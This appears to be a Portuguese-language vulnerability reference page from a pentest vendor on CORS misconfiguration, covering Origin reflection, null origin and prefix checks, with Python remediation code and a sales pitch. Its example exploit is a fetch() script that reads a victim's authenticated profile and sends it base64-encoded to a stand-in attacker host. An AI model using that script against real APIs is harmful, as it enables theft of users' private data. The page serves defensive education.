← Base de Vulnerabilidades
Configuração A05:2021-Security Misconfiguration CVSS 6.5

CORS — Misconfiguration de Cross-Origin Resource Sharing

CORS mal configurado permite que sites maliciosos façam requisições autenticadas à sua API. Veja como identificar e explorar CORS wildcards e null origin.

Comum em: APIs REST, SPAs, microserviços com múltiplos frontends · Dificuldade: Baixa — explorável com fetch() em qualquer site

O Que É CORS

Cross-Origin Resource Sharing (CORS) é o mecanismo que controla quais origens externas podem fazer requisições à sua API. Misconfigurations perigosas incluem: (1) Access-Control-Allow-Origin: * com credentials — inválido mas implementações bugadas existem; (2) Reflexão automática do Origin header sem validação; (3) Aceitar null origin (arquivos locais, sandboxed iframes); (4) Validação por prefixo insuficiente (empresa.com.br.attacker.com passa).

Exemplo Real de Ataque

HTTP Request / Response
# Teste de reflexão de origin
GET /api/v1/perfil HTTP/1.1
Origin: https://attacker.com.br
Cookie: session=abc123

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com.br  ← Reflete origin!
Access-Control-Allow-Credentials: true
{"email": "vitima@empresa.com.br", "saldo": 14750.00}

# Exploit (JavaScript em attacker.com.br):
fetch('https://api.empresa.com.br/api/v1/perfil', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://steal.attacker.com.br/?d='+btoa(JSON.stringify(d))))

Impacto no Negócio e Compliance

Um atacante hospeda uma página maliciosa que faz requisições autenticadas à sua API usando as credenciais do usuário vítima (cookies, tokens armazenados). Dados são exfiltrados silenciosamente. Em SPAs com JWT em localStorage: qualquer origem pode ler se CORS estiver mal configurado.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Como Remediar

# ✅ REMEDIAÇÃO: Lista de origens explícita e validação exata

ALLOWED_ORIGINS = {
    "https://app.empresa.com.br",
    "https://www.empresa.com.br",
    # Nunca adicione * se usar credentials
}

def cors_middleware(request, response):
    origin = request.headers.get("Origin", "")
    
    # Validação exata — NUNCA use startswith() ou regex frouxo
    if origin in ALLOWED_ORIGINS:
        response.headers["Access-Control-Allow-Origin"] = origin
        response.headers["Access-Control-Allow-Credentials"] = "true"
        response.headers["Vary"] = "Origin"  # Essencial para cache correto
    # Se origin não está na lista: não adicione o header — browser bloqueará

Como a Veyronn Detecta Esta Vulnerabilidade

Testamos CORS enviando múltiplos headers Origin (subdomínios, domínio atacante, null, HTTP/HTTPS mix) e verificamos a resposta Access-Control-Allow-Origin + Access-Control-Allow-Credentials para identificar misconfigurations exploráveis.

Pronto para Contratar seu Próximo Pentest?

Adquira nossa avaliação pontual feita pelos melhores profissionais do mercado ou implemente o software da Veyronn 24/7.